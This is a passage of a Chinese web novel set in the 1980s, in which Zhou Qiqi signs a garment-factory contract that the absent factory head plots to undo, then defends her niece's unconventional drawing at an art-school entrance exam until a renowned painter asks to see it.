沈淮川的目光在葡萄上转了一圈,小姑娘攥了许久的掌心早已沁出薄汗,葡萄表面的白霜被蹭掉,露出底下青色的果肉。 他眼皮一翻,却是假装没看见,毫不犹豫地捻了葡萄,直接塞进了嘴里,满满咬了一大口。 “嘶......” 他眉峰骤然皱起,腮帮抽了抽,故意龇牙咧嘴道,“酸得掉牙。” 周柒柒还从来没见过他这么狼狈的样子呢,被逗得哈哈大笑。 “哈哈哈哈哈...被骗到了吧!别人是吃不着葡萄说葡萄酸,你这是吃着了葡萄,还要说葡萄酸!” 舟舟也仰着小脸看热闹,嘴角微微上扬,不过也不忘赶忙从口袋里摸出几颗早就准备好的糖来。 都是周柒柒之前给舟舟买的,酥糖、奶糖、水果糖,花花绿绿的,花样多得很,舟舟一样拿了一个,给沈淮川随便挑。 沈淮川平时不爱吃糖,瞧着里头就数水果糖小小一个,抬手就去拿,却没想到,手都还没碰到,那水果糖就被周柒柒抢先一步拿走。 她看都不看他,只对着舟舟轻声叮嘱。 “你叔叔不爱吃水果糖,以后别给他拿水果糖了,知道了吗?” 沈淮川一脑门的问号,却也没处问,只能乖乖拿了个奶糖往嘴巴里塞。 她们今天来得早,早饭都没在家里吃呢,顺道拿了过来一起吃。 蒸鸡蛋羹,土豆丝饼,另外还有三瓶羊奶。 家里的麦乳精上个礼拜已经喝完了,周柒柒索性又给了赵大姐十块钱,让她帮着再多定两瓶。 一瓶给舟舟,另一瓶给沈淮川,他现在正需要蛋白质,羊奶营养丰富,他喝着正好。 军人吃饭快,周柒柒和舟舟才刚吃了一半,沈淮川已经吃完自己那份了,不过羊奶没喝。 “放着待会儿喝吧。” 他捧起床头的报纸,随意说道。 周柒柒把手里的碗筷放下,伸手抽走他手中的报纸,眉峰微挑。 “少耍心眼,我还不知道你?这几天的羊奶都是等我走了,偷摸给石头喝了吧?” 她连着两天在秦石头衣襟上发现奶渍了。 沈淮川难得心虚了一回,没敢回话,秦石头也是缩着脑袋,一副做错事的样子。 他们俩是真不怎么爱喝牛奶、羊奶之类的东西。 周柒柒占着理,却没再数落,而是从挎包里取出一瓶葡萄果酱,舀了几勺放进羊奶瓶里,晃匀了递过去:“尝尝。” 这是她昨晚熬的,那些葡萄虽然口感不行,但是花青素满满的,葡萄的味道也很浓,加点冰糖和苹果一起熬成果酱,酸酸甜甜的,配着羊奶喝正好。 淡紫色的果酱溶进雪白的羊奶里,搅出淡紫色涟漪。 沈淮川尝了一口,眉峰微松,仰头一饮而尽。 吃完饭,周柒柒把美术老师的事儿和沈淮川说了。 沈淮川听完,眉心微蹙,坐直身子。 “等我出院了带她去,你忙服装厂的事已经够累了。” 他的伤不算严重,昨天刚问过医生,再过一个礼拜差不多就可以出院回家了。 周柒柒摇头,抽过枕头垫在他背后。 “没事儿,第一阶段合同的改造图,我已经画得差不多了,你就算出院,也是要在家继续养伤的,还是少走动一些好。” 她瞥了眼捧着羊奶乖乖喝的舟舟,眼尾含着笑。 “再说了,舟舟怕是早就迫不及待了,可等不到你出院。” 沈淮川望着她发间的碎光,忽然伸手握住她的手,眼底漾起抹温柔。 “辛苦你了。” 他的掌心覆着薄茧,粗糙的触感擦过她掌心,烫得周柒柒心尖发颤。 她咬了咬唇,赶忙抽出手来,转移了话题。 “那个,我昨天拿回来的合同,你都看完了吧,我约了张厂长下午签合同呢。” 沈淮川抬眸示意秦磊,秦磊去柜子里取了个公文包出来递了过去。 周柒柒昨天拿回来的时候,只套了个档案袋在外头,这会儿怎么变成公文包了? 不过沈淮川平时做事就挺仔细,可能是怕丢,周柒柒也没多想。 下午两点,她带着公文包准时出现在第一服装厂,和张国强副厂长签订了合同。 签完合同,她就把自己画好的改造图拿了出来。 张国强副厂长如获至宝,赶紧让人去把厂子里的制版师傅马春花叫了过来。 马师傅今年四十二岁了,在第一服装厂干了一辈子了,经验丰富,对服装行业十分热爱,和周柒柒一拍即合,当即就热烈讨论了起来。 张国强插不上话,便在一旁端茶倒水,来回帮忙递东西。 三人专注而忙碌,谁也没留意到,办公室门口,一个身穿红裙的女人从头听到尾,随后蹑手蹑脚地回到自己办公室,拿起听筒拨通了电话。 “厂长,您快回来吧,厂里出大事儿啦!” 第101章 我才是厂长 三亚某疗养中心的藤椅上,G市第一服装厂厂长吕守钱指间夹着根快要燃尽的烟,浓眉拧成个川字。 他中午喝了点酒,正在房间里呼呼大睡呢,忽然被服务员吵醒,说是有十万火急的电话找他。 本来不想接的,但是耐不住那边一直催,还以为是什么领导找他呢,赶忙忙不迭地去接。 一听那头传来吴淑芬的大嗓门,立马撇了撇嘴,肥厚的唇线往下一耷拉。 “那厂半死不活的,能出什么大事儿啊?吴淑芬,你咋老是咋咋呼呼的!” “真有大事儿!” 电话那头的厂长秘书吴淑芬攥紧话筒,指甲都快掐进掌心。 她前几天就给疗养院打过电话了,一直找不到吕厂长,这会儿好不容易找到了,赶紧唾沫乱飞地把副厂长张国强和周柒柒签合同的事儿说了。 吕守钱眯着眼睛,一副漫不经心的模样。 虽说他是第一服装厂的厂长,但厂里的一堆烂摊子他实在不愿过问,早在两年前,就全丢给张国强打理,自己则躲在这疗养所图个清静。 即便如此,厂里的人还是总来找他要工资,搅得他不得安宁,因此关于厂里的事儿,他一个字都不想听。 此刻听吴淑芬这么说,他连眼皮都没抬一下,慢悠悠地开口。 “签就签了呗,不就是招了个设计师吗,以前也不是没招过,况且这两年他折腾的事儿还少吗,哪回有结果了?这么激动干啥?” “没啥事儿我挂了!” 说着就准备撂电话。 “别啊别啊,厂长!你听我说!这回真不一样!” 吴淑芬激动得跟什么似的,公鸭嗓扯得老高。 “女人就是爱大惊小怪。” 吕守钱被她尖厉的声音吼得耳根子生疼,一下子把话筒拉得老远,但看她这么激动,到底也没撂了,而是又重新拉回来,不耐烦地说道。 “行行行,你说吧说吧。” “你等等~” 吴淑芬小心翼翼放下听筒,轻手轻脚跑到门口张望,听见隔壁还在热烈讨论,没人留意这边,才又蹑手蹑脚回到电话机旁,攥紧话筒,捂着嘴压低声音。 “前几天我专门去张副厂长的办公室偷看过那个合同,不是签了个设计师那么简单,而是叫什么...联名...莲花...连...” 虽说吴淑芬是厂长秘书,可只有小学文凭,字倒是认得几个,但合同、生意这些事儿,她一概不懂,说到这儿,支支吾吾半天,始终说不出个所以然。 吕厂长听得愈发不耐烦,又嚷嚷着要挂电话回去睡觉,吴淑芬这才猛地想起来,大声嚷道。 “我想起来了,叫联合经营!意思就是和那个女人一起卖咱厂子的库存,卖出去了,得给那女人分钱呢!” 吕守钱原本听得无精打采,一听到“钱”这个字,立马瞪大了眼睛,反问道。 “什么?分钱?分咱厂子里的钱?分多少?淑芬,你说清楚!对方什么人?” 他坐直身子,一边问话,一边慢条斯理地扣着衬衫扣子。 刚才他衬衣扣子都没来得及扣,胡乱塞在皮带里,圆滚滚的大肚腩露在外面。 吴淑芬脸上露出几分得意,眨着眼睛仔细回想,郑重其事地说道。 “是个年轻女娃,才二十,长得一股狐媚劲儿,好像是说,如果库存卖完了,咱厂子赚钱了,就分一成五给她!” 吕厂长刚才还紧张得不行,生怕张国强联合外人坑厂里的钱,听完顿时泄了气。 “啥?库存卖完?做什么美梦呢?” 他瞬间放松下来,往椅子靠背上一躺,肚子上的扣子险些被崩掉。 作为第一服装厂的厂长,他对厂里的情况再清楚不过,厂子之所以连年亏损,就是因为积压的库存始终卖不出去,只会越堆越多。 他压根不觉得,一个二十岁的女设计师能解决这个难题。 吴淑芬还在喋喋不休。 “厂长,您看咋办?您回来主持大局不?您这段时间不在,张国强都不把我当回事儿!今年厂里先进都没给我,给了那个早该退休的马师傅...现在又要把咱厂子里的钱分给外人!” “行了行了,别念经了,听到我脑仁疼。” 吕厂长听得不耐烦,但一想到厂子里的钱,还是低头思考了一会儿,皱着眉叮嘱道。 “这事儿你给我盯着,厂里的钱绝对不能分给外人,我才是厂长,不管那个张国强签了什么合同,只要我不点头,就一概不作数。” “好嘞!” 吴淑芬斗志满满地应下,脑海里不禁浮现出每次都穿着漂亮裙子的周柒柒,她磨着牙恶狠狠地想。 “小狐狸精!想坑我们厂里的钱!门儿都没有~!” “阿嚏~!” 隔壁办公室里,周柒柒正忙着和马师傅讨论版型,冷不丁觉得身上一阵发凉,打了个喷嚏。 张国强副厂长赶忙去把窗户关上,顺道又给她的茶杯添了些热水。 “不用,我们快说完了,不喝了。” 周柒柒摆了摆手,指着最后一张设计图。 “您也过来看一下,这个款难度大一点,我的设计也稍微前卫了一点,看看能不能接受?” 张国强副厂长连忙走过去。 周柒柒说的款式,是去年冬天吕厂长小姑子来厂里当设计师时设计的一款高领毛衣裙,样子就像个大面口袋,毫无版型可言。 当时因为厂长的关系,生产了不少件,可根本卖不出去,在仓库里堆了一大堆。 周柒柒给出的改造方案,是把毛衣裙收量,改成贴身的茧型款式,再把袖子截断成短袖,下面那部分做成可拆卸的毛衣袖套。 袖子中间有隐形暗扣,如果接受不了截断的设计,或者觉得天气凉,就可以直接变回完整的长袖。 这种设计,张国强从来没见过,他挠了挠头,面露难色。 “这种设计,会不会有点...” 可一辈子都在做服装制版的马师傅看了一眼,脑中立刻浮现出衣服穿在身上的效果,他白了张国强一眼,说道。 “你一个男人懂什么,这款式绝对既显气质又显身材,年轻女娃娃肯定喜欢得不得了!” “这套做出来,我得给我家小涵留一件!让她下个月相亲的时候穿!” 张国强笑呵呵地应道。 “好好好,我不懂,反正合同都签了,一切听周师傅的就行。” 马师傅一开始看周柒柒这么年轻,还对张国强的决定心存怀疑,但看过周柒柒的设计图后,直接心服口服。 对着比自己小二十多岁的周柒柒,一口一个“周师傅”地叫着,张国强听着顺耳,也就跟着这么叫了。 工作场合称呼职务,周柒柒对此也没什么意见。 讨论了三个多小时后,第一阶段的五个版型最终确定下来。 这五款都是秋冬款,正是当下这个季节适合售卖的,张国强和马师傅打算加班加点赶制样衣,投入生产。 这些就不属于周柒柒的工作范畴了,而且也到了她该下班的时间,估计舟舟她们都等着她一起吃饭呢。 临走前,张国强又问道。 “样衣做出来之后,您还要不要确认一下?” “确认倒不用。” 周柒柒摇了摇头,经过一下午的相处,马师傅的技术水平和人品已经得到了她的认可。 “不过样衣给我一套也行,我留个样儿。” 张国强立马说第二天早上给她送过去,周柒柒咬着唇思索了片刻。 “我明天还有事,这样吧,我找人帮我取。” 张国强副厂长的脸色一下子变了,皱眉问道。 “谁?该不会是那个女大力士吧?” 第102章 你这孩子,哑巴了? “是,就是赵大姐。” 周柒柒点点头,她早和沈淮川合计好了,明天不去医院,直接让赵大姐送她和舟舟去城里找吴老师。 要是吴老师那儿不成,还得再跑趟少年宫找季老师。 也不知这事儿啥时候能忙完。 倒不如让赵大姐帮着取回来,回头有问题再给张国强打电话沟通。 一听“赵大姐”这名字,张国强脸色瞬间有点挂不住。 想起上次送周柒柒去搭驴车,他差点一屁股坐到狗屎上,多亏赵大姐搭了把手,可说是搭手,人家直接把他“公主抱”起来了。 他好歹是个大老爷们,自己站不稳不说,还让女人给抱起来随便丢驴车上,想想都觉得丢人。 第二天赵大姐过来的时候,尽管天气有点凉,他还是特意换了件短袖,想显示一下自己不怎么明显的肩部肌肉线条。 可赵大姐连正眼都没瞧他,小心翼翼把那一蛇皮袋样衣往车斗里一放,扬起小驴鞭就走了,只留张国强一人在风里发愣。 秋风吹过,他冻得打了个寒战,却也没法子。 而城北一处二层小院的门口,周柒柒却是拢了拢舟舟脖子上的新围巾,轻声叮嘱道。 “马上到了,别紧张,想怎么画就怎么画,反正咱们也就是来试一试的,选不选得上没啥大不了的。” 刚才一路走来,她俩至少撞见七八个跟舟舟一般大的小孩,个个背着画具,估摸都是来参加吴老师这儿入学考试的。 先前费老师说竞争激烈,周柒柒还没当回事,这会儿可算是真切感受到了。 两人进屋后,直接被领到一间小画室。屋里已经有十几个家长和小孩,吴老师还没露面,一个年轻小助理正在前面摆弄画具。 家长们仨一群两一伙地唠着嗑。 “哎,听说了没?吴老师昨儿刚说,家里地儿有限,最多再招一个学生!” “真的假的?那我家乐乐估计悬了,听说今儿有个厉害角色要来!” “谁啊?” 正说着,一个穿着米白色呢子大衣、烫着大波浪的中年妇女,领着个小胖墩走进来。 那小男孩约莫七八岁,背着专业小画板,手里提着个印着日文的大工具箱。 娘俩昂首挺胸地进来,眼皮都没往旁人身上抬。 刚才那爱打听的家长冲那边努努下巴。 “诺,就他,于洋,听说在首都B市拿过金色童星杯,将来指定有出息!这名额估计就是他的了!” 说话间,另一个老师模样的人走进来,高声喊道。 “吴老师的车半道坏了,一时半会儿回不来,今天的考试暂时先由我这个助教来主持,小朋友们都找个画板坐下,家长都退到后面去。” 话音刚落,家长们就纷纷往前凑去,都去找靠前的位置。 周柒柒则没动。 画板摆了三排,她就地给舟舟挑了最后一排中间的位置,自己站在后面,好让孩子有点安全感。 临走前,她又拍拍舟舟肩膀。 “还是那句话,想咋画就咋画,别想别的,就当在家画着玩。” 这边刚说完,坐在舟舟前面的于洋妈妈也拍了拍儿子肩膀。 “洋洋,别慌,你可是在首都拿过‘金色童星杯’一等奖的,跟这些没见过世面的乡下娃不一样,这名额肯定是你的!好好画,让他们见识见识啥叫‘专业素养’!” 这话虽说声音不大,可周柒柒就在后头呢,听得清清楚楚。 她无语地撇撇嘴,往后退了两步。 见教室角落里有凳子,她想着反正一时半会儿考完,不如搬个凳子坐着等,省得跟别的家长一样站着受累。 可没走几步,就听见一声尖厉的咋呼。 “哎,你干啥呢?画我衣服上了!” 周柒柒赶忙转身,只见于洋妈正指着舟舟呵斥,舟舟显然被吓着了,呆愣愣地站在原地没动弹。 “说话啊!你这孩子,哑巴了?真没礼貌!” 于洋妈越说越起劲,抬手就要推舟舟肩膀。 周柒柒三步并作两步冲过去,一把将舟舟护在怀里,伸手牢牢抓住对方手腕,皱着眉问道。 “同志,有话不能好好说?她才六岁孩子,懂个啥?” 于洋妈妈一头披肩的大波浪,斜眼看向周柒柒。 “孩子咋了?她铅笔把我衣服弄脏了!这可是我在首都百货大楼刚买的新衣裳!” “弄脏哪儿了?” 周柒柒挑眉反问。 于洋妈妈忙扯过自己袖子,刚才她往后退时,舟舟的笔尖确实对着她袖子方向。 可仔细一看,米白色的袖子干干净净,哪儿有半点儿污渍? 这时,舟舟举起自己那支彩色铅笔,她刚才拿笔时,露在外面的是笔尾,根本没削过的笔尖朝里呢,压根儿不可能弄脏别人衣服。 事实摆在眼前了,于洋妈抬了抬眼皮,轻描淡写地说了一句,“我搞错了。” 然后就准备往后面走。 周柒柒及时伸出胳膊,拦住她,语气清脆,“搞错了就跟孩子道歉。” 这会儿所有家长都退到后面了,她们这儿又是最后一排,动静又不小,很快就引起了其他家长的注意,大家都围拢了过来。 看着周柒柒拦着于洋妈要道歉,都一副看好戏的表情。 于洋妈觉得面子上有点挂不住,讪讪道。 “多大点事儿,至于吗?” “这问题你已经身体力行回答过了。” 周柒柒嘴边挂着一起柔和笑意,语气确实坚定地不得了,目光灼灼地看过去。 “道歉。” 这么多家长看着呢,于洋妈下不来台,只得低头从牙缝里小声挤出来一句。 “对不起。” 周柒柒本来也无意为难她,听她道歉,也就把胳膊放下了,低头柔声去安慰舟舟。 “没事吧?” 舟舟这孩子只是之前一直被家里人保护在家里,见识少了些,但是心里素质倒还可以,没受什么影响,冲着周柒柒勾了勾嘴角,轻轻摇了摇头。 这时,画室最前面的老师拍了拍手,朗声道。 “好了,大家安静,现在准备开始第一节考试,静物写生。” 说着,他便是指了指台子上的苹果。 第103章 好大的口气! 能来吴老师家考试的小娃娃,大多在少年宫跟过老师学过一两年画。 老师喊了开始,多数孩子瞄了几眼苹果,抓着画笔就簌簌动笔,腰背挺得溜直,瞧着都格外认真。 没一会儿,一只只苹果的轮廓就在画板上冒了头。 可还是有例外的。 十几个孩子里,有两个小家伙迟迟没动静。 一个是坐中间的小胖墩于洋,另一个是立在他身后沈渡舟。 这俩不动弹,立马引来了家长们的嘀咕。 有人抻着脖子瞅,“咋还不画呢?” 话音刚落,中间的小胖墩于洋忽地起身,打开了自己的工具盒。 然后“啪嗒”一声,又打开了铅笔盒,只见里头躺着六支削得尖尖的中华铅笔。 他挑挑拣拣地挑了一个合适的取了出来,然后眯起左眼,像模像样地用铅笔比量着苹果的长宽。 家长们以为他总算要动笔了,纷纷探头张望,却见他在画板上先画了个方方正正的大正方形,又添了几道辅助线。 紧接着,他摸出彩色铅笔,在旁边涂了几块歪歪扭扭的色块。 “这是干啥呢?” “可不咋,看不懂……” 家长们交头接耳,于洋妈却挺得意。 “不懂了吧,这叫打型、调色,画画的根基!首都美院的老师教的!” 正说着,就见于洋握着笔,在方框里修修改改,竟画出个浑圆的圆形。 家长们见状,纷纷惊呼道。 “哎哟,真厉害!这圆画得跟用圆规描的似的!” “是啊~到底是专业老师教的!” 家长们直咋舌,他们的孩子年纪小,在少年宫的兴趣班不过学个简单构图。 还从来没见过这么讲究的步骤呢! 更别说一下子画出这么圆的圆形了。 于洋妈腰杆挺得更直了,嘴角咧得老高,眼角眉梢都是藏不住的得意。 刚才那爱打听的家长感慨道。 “敢情画画还有这么多门道,怪不得人家不着急画……” 说着便是伸长了脖子去看,这一看,却是一眼瞅见于洋后面,沈渡舟面前的空画板。 “咦,他后头那个小女娃,咋也没动笔?也是专业的?” 这话一出,家长们全扭头看向沈渡舟,连于洋妈都皱起了眉,探头往那边瞅。 这时,沈渡舟动了。 她抓了一只大红色铅笔,没打任何线条,而是直接用力地涂抹了一大片饱满、鲜亮的红色。 这块红色的轮廓歪歪扭扭的,边缘毛糙得像狗啃的,可小女孩却是直接收了笔,看都没看就去拿黄色铅笔往上叠色。 于洋妈见状,眼皮子一翻,嘴角撇得老长。 “还以为多厉害呢,连个圆都画不周正,画的这是啥玩意儿!” 爱打听的乐乐妈在旁边附和道。 “是啊,还以为能和于洋竞争呢,结果看起来一点基础都没有,连我家乐乐都不如,家长怎么想的?不是让孩子丢脸吗?” “就是啊,浪费吴老师的时间。” 家长们七嘴八舌,她们虽不懂画画,但自家孩子学了一两年,有没有基础还是能瞧出来的。 这小女孩握笔姿势都不对,铅笔攥得跟抓筷子似的,一看就是个生手。 有于洋在,大部分家长都觉得自己的孩子没希望了,只能通过踩其他孩子获得一点安慰。 只有一个短发的家长小声说了句。 “我倒是觉得,画得还怪可爱的,一眼就能看出来苹果的饱满。” 于洋妈立马拔高了嗓门,嗓门尖得像掐着嗓子。 “可爱?这是画画考试,又不是玩泥巴!” 坐在后排的周柒柒一直盯着舟舟,压根不想掺和这些闲话。 听见这嚷嚷,她无语地翻了个白眼。 “嘘——安静点!没考完呢,吵着孩子咋办?” 前头的助教老师也出声提醒。 “大家静一静啊!别影响孩子们发挥!” 画室里顿时没了声,只剩画笔在纸上“沙沙”走的动静。 没多久,孩子们陆续画完。 于洋是最慢的,他猫着腰在圆苹果上涂了深浅不一的色,勾出了光影和轮廓,连高光点都拿笔尖细细描了。 十分完美,又大又圆,红彤彤的。 家长们扎堆儿瞅着直咋舌,连下场巡逻的助教老师都忍不住背着手点头。 再看沈渡舟的苹果,简直天差地别。 没透视,比例歪,颜色涂得乱七八糟,也就勉强能看出是个苹果。 偏偏她的画板紧挨着于洋的,这么一对比,更显潦草。 于洋妈捂着嘴“嗤”地笑出声,还时不时拿帕子掩着嘴,朝周柒柒投来几眼带点可怜巴巴的目光。 周柒柒眼皮都没抬,干脆搬着凳子“吱呀”转了个向,给她个后背,又把舟舟的画板往左掰了掰,让孩子背对着窗户坐,省得被人指指点点。 小画室内的考试仍在继续。 苹果画完,助教老师冲门口招了招手,喊进来个年轻姑娘。 二十来岁,大眼睛忽闪忽闪的,白皮肤透着红,穿件白的确良衬衫,配着黑棉布裤。 “小朋友们苹果画得都不错,” 助教拍了拍手说,“接下来考人物素描,大家仔细看模特,画张人像。” 比起静物,人物可难多了,家长和孩子们都绷紧了神经。 小胖墩于洋更是严肃,从工具箱里掏出个小比例尺,对着模特量了又量,先定了上下两个点,再画中线、十字线、外框线,接着才勾轮廓、定五官。 他一笔一划都极仔细,头发丝都一笔一笔地描,是全场画得最慢的。 等他收笔,其他孩子早画完了。 “各位家长稍等一下,我再去问问吴老师到了没。” 助教说了一声。 家长们立马“呼啦”全围到了画板前,瞅瞅自家孩子歪歪扭扭的线条,再瞧瞧于洋那张跟印出来似的画,个个摇头叹气。 “和那些初中生画的一样!到底是跟专业老师学过的!” “哎,咱孩子就是来陪跑的,名额指定是于洋的了!” “人家都得‘金色童星杯’一等奖了,咱拿什么跟人家争啊?” 于洋妈搂着儿子,笑得合不拢嘴。 这时,周柒柒走到了舟舟身边。 舟舟扭过头,眼睛弯成月牙,对着她比了个口型,好看吗? 周柒柒看到舟舟的画,先是愣了一下,然后捏了捏她的小脸蛋,夸赞道。 “好看!在婶婶眼里,舟舟画得是最好的,绝对排第一名!” 婶侄俩说得热闹,没留意于洋妈扭着腰凑了过来。 她正憋着一肚子气,这会儿终于逮着机会,拨开人群就开了口。 “握笔都握不稳,还想拿第一?口气不小啊!” 先前周柒柒当着一众家长的面儿让她道歉,害得她在众位家长面前丢脸,这梁子她可一直记着呢。 而且刚才大伙儿都凑到跟前来奉承她,唯独周柒柒没影儿。 再加上这会儿,居然还敢说她家孩子是第一,于洋妈哪儿能咽得下这口气。 她拨开人群,噔噔走到两人跟前,二话不说就把舟舟的画板猛地转到众人面前。 “我倒要瞅瞅,你家娃儿能画出啥好画来!” 第104章 输不起了? “你干什么?!” 周柒柒第一时间是把舟舟护在身后,再想去抢画板时,已经来不及了。 于洋妈把画框举得老高,舟舟画的人物素描,被明晃晃地展示在了众位家长的眼皮子底下。 于洋妈妈一开始还是一脸的怒气,但是看到舟舟的画之后,却是直接讥讽地笑了起来。 “哈哈哈哈哈哈!我的天老爷啊!这…这画的是什么鬼东西?!这是个人吗?” 她的笑声刺耳,引得所有家长都好奇地看了过去—— 画纸中央,是两个大大的,几乎占据了半张纸的椭圆形,好像是“眼睛”。 每只眼睛的中心,她用亮黄色点了一个巨大、闪耀的光点,这光点饱满异常,周围缀着不同颜色的点缀,有云,有星,有花。 除了这双占据画面主体的眼睛之外,就其他任何东西了! 没有脸型轮廓! 没有鼻子嘴巴耳朵! 没有头发! 没有身体衣服! 只在眼睛下方,用简单的几根短促线条,表示模特的肩膀,画得有点抽象,像是两个小翅膀一样。 左右两侧,也随意涂抹了几笔淡蓝色,瞧着像风刮起的衣角。 这哪儿是人物素描?连个人形都没画全乎。 家长们都是一愣。 于洋妈妈看到众人反应,双手抱在胸前,煽动了起来。 “大家看看!这也能叫画?还说自己是第一名,这不是侮辱我们这些认真备考的孩子和家长吗?” 这句话一下子帮周柒柒和沈渡舟把仇恨值拉满了,家长们窃窃私语起来。 “是啊,画成这样,是怎么好意思来参加考试的,孩子不懂事,大人也不懂事吗?” “真是一点儿自知之明都没有啊,还好意思说自己是第一名,我家孩子画得可比她好多了...” ...... 七嘴八舌的议论声里,周柒柒把舟舟的耳朵轻轻捂住,让她躲在自己身后,指尖触到孩子后颈细软的头发,心里忽地一酸。 “于洋妈妈!” 她猛地抬起头,眼神锐利如刀,直接盯住为首的于洋妈妈。 她的声音不高,但清晰、冰冷,带着压抑的怒火,瞬间压过了家长们窃窃私语的声音。 “考场上比的是孩子的画技,不是比谁舌头长、嘴巴毒!” “我家舟舟是没基础,但是她敢拿起笔画,敢表达她看到的世界,这份勇气和纯粹,在我心中,就永远都是第一名!无论什么老师,大师,就算是达芬奇、梵高、莫奈来了,都要往后靠!” “再说了,” 她往前跨了半步,声音冷得能冻住人。 “无论她画得好不好,都不关你的事!轮不到你一个学生家长在这里指手画脚、冷嘲热讽!” 周柒柒的声音一出,整个小画室瞬间安静了下来。 她的话条理清晰、句句扎心,于洋妈妈被噎得满脸通红,半天说不出话来。 其他家长也都震惊地看向周柒柒,没想到她看着温柔可人,爆发力却这么强。 而且听她说的话,居然觉得,还挺有道理的。 她们刚才都是被于洋妈妈给带跑偏了。 “你你你...” 眼看着众位家长都默默离开自己身边,反而转向周柒柒那边,于洋妈妈眼皮一翻,被气得说不出话来。 一抬眼瞅见助教老师进来,立马拔高嗓门。 “算你嘴巴厉害!我不能评判,老师总能评判了吧!” 她三步并作两步拽住助教的袖子,把于洋和沈渡舟各自画的静物写生和人物素描往桌上一摊。 “老师,你来看看,我家于洋的画,和这个小哑巴的画比起来,哪个画得好?谁是今天考试的第一名?” “这...” 助教老师盯着两张画,喉结动了动。 刚才一直爱打听,喜欢拱火的乐乐妈在背后嗤笑道。 “人家于洋是得过‘金色童星杯’一等奖的,咱们都看得出来谁画得好,怎么老师看不出来吗?” 助教本想着等吴老师回来再评,可被这话一激,又听着“金色童星杯”的名号,清了清嗓子开口。 “肯定是于洋画得好。线条稳当,结构周正,明暗阴影都到位,人像也像模像样,第一名该给他。” 说完于洋,他转头看向沈渡舟的画,挠了挠后脑勺。 “至于这位小朋友的,苹果不像苹果,人像不像人像,不合格。” 话还没落地,于洋妈就跟踩着弹簧似的蹦起来,斜睨着周柒柒道。 “听到了吧?人家老师都说你家娃画的是垃圾!简直是糟蹋纸!就这种水平也好意思来这儿参加考试?趁早滚蛋吧!这个名额,是我们家于洋的!” 于洋妈妈这话羞辱性十足,但周柒柒却压根没瞧她,而是越过人群,冲助教轻轻点头,语气温和,却带棱带角。 “老师,我觉得您这话不全对,画画的真谛,难道是跟照相机似的,把眼见的东西死板板地挪到纸上?” “我虽然没有学过画画的,但是个人认为,评价一幅画好不好,从来不该只看它‘像不像’,更要看它有没有‘灵魂’!有没有‘情感’!有没有‘独特的表达’!” 她声线柔和,没半分咄咄逼人的架势,可当着这么多家长的面,助教的脸还是挂不住了,皱眉道。 “这位家长,您这是觉得我评得不对?输不起了?” “就是!” 于洋妈立马接腔,腰杆挺得溜直。 “小嘴叭叭的!就会强词夺理!人家老师专业还是你专业?” 周柒柒扫了眼助教,轻嗤一声摇头。 “我家舟舟从来没输过,谈什么输不起?原以为这画室多厉害,现在看……也就那样。” 说着,她把两张画往臂弯里一夹,牵起舟舟就往门口走。 “舟舟,咱不跟他们争这个闲气,走吧。” 于洋妈在身后“啧”了两声,跟旁边家长嘀咕。 “画不好就甩脸子,真是玻璃心……” 她满脸得意,跟斗胜的公鸡一样,却没想到—— 正说着呢,楼梯上传来“咚咚”的脚步声,一个满头白发的老头儿拄着拐杖快步走下来,嗓门洪亮。 “哎,等等!” 第105章 好一个大师 老头儿嗓门儿亮堂,这么一咋呼,满屋子家长全扭头看过去。 他穿一身月牙白唐装,白头发白,白胡子也梳得整整齐齐的,身形清瘦却腰杆笔挺,眼角皱纹里都透着精气神儿。 于洋妈眼尖,瞅见老头儿的瞬间,眼睛“噌”地亮起来,拽着于洋就往前挤,堆着笑伸手。 “吴大师!可算见着您啦!早就听说您的大名!” 这位老者,正是吴老师的父亲,业界尊称一声吴大师。 这么多人来吴老师的画室报名,除了看重吴老师本身的本事,更多还是冲着吴大师的名号。 吴大师虽说如今退了休,处于半隐退状态,可在整个华国艺术圈,那绝对是泰山北斗般的人物。 他出身美术世家,打小跟着家里学画,早年还去巴黎高等美术学院进修过。 回国后就在中央美术学院当教授,算是油画系的顶梁柱,教出好些后来在画坛挑大梁的学生。 这些学生如今大多是各地美院的教授,或是有名的画家,真正是桃李满天下。 在华国画坛,提到“吴教授”,没人不敬重,是公认的“大师”。 虽说他现在不教书了,可把孩子送到他女儿的画室,保不齐能得大师“指点”。 于洋妈就是这么想的,所以才在首都和G市的画室里,选了大老远来到G市。 这会儿有幸见到吴大师,她激动得指尖直颤,忙把于洋往前推,自己又往前凑了半步。 老头儿手里拄着拐杖,不怎么方便,没和于洋妈妈握手,只是冲着小胖墩和蔼地点了点头。 这时,两个年轻的助教老师也出来了,赶紧过去搀扶着老爷子从楼梯下来。 “哎,老先生,您咋出来了?” 老头儿明显心情不太好,戳着拐杖不高兴地说。 “还问我咋了?你们考个试,吵吵嚷嚷的!我在楼上都听见了!吵得我睡不着觉!” 刚才当模特的女助教小声嘟囔。 “那个,我们也没想到老先生中午十一点还在睡觉啊,不都说老年人觉少吗?” “这是重点吗?” 老头儿吹胡子瞪眼,眼珠子乱飘,跟个小孩儿似的。 不过他也没真生气,一屁股坐在沙发上,“说!到底咋回事?” 女助教刚要开口,于洋妈却凑了过来。 “大师,有学生家长瞧不上您呢!” 说着,便是添油加醋,颠倒黑白地把刚才的事儿说了一遍。 老先生听得直皱眉。 “真是好大的口气!居然还有这么没素质的家长,带孩子来考试,居然砸场子?!” 于洋妈见老先生跟自己一个鼻孔出气,顿时觉得跟老爷子亲近了,赶紧又唾沫横飞地补了几句。 “可不是嘛,她就是不服气,说自家孩子是第一名,大师您都不如她孩子!还说达芬奇都不如!还有什么……梵、梵奈、莫高窟,听都没听过,也不知道是不是自己编的!居然拿出来跟您比!” “什么乱七八糟的,” 老头儿捻着胡须直摇头,听到“梵高”“莫奈”时,浑浊的眼睛忽地亮起来。 “等等,她是说梵高?莫奈?” 现在是八十年代,西方的文化信息有限,外国的那些画家,也就达芬奇因为民国时期被徐悲鸿引入华国,所以知道的人多些。 梵高、莫奈等印象派,也就他们这些美院教授偶尔会讨论,普通人几乎很少有人知道。 没想到,一个小小的G市,居然还有家长提及,还说自己孩子的画不输他们。 “有意思……” 老头儿指尖摩挲着胡须,忽然挺直腰板。 “把那孩子的画拿来!我倒要好好瞅瞅,她家孩子画得到底咋样!” 他冲小助教扬了扬下巴,“敏敏,去把人请回来。” 周柒柒这会儿在院子里还没走呢。 刚才老爷子下来的时候,带起一阵“妖风”,把周柒柒夹在胳膊底下的画给吹跑到二楼阳台上去了。 这可是舟舟亲手画的画,周柒柒哪舍得让它丢在外头,正想跟里头的人说一声,帮忙把画拿下来。 听说吴老爷子想看舟舟的画,还用了“请”字,她眸子转了转,点了头。 小助教捧着画跑回来,两张画纸往茶几上一摊—— 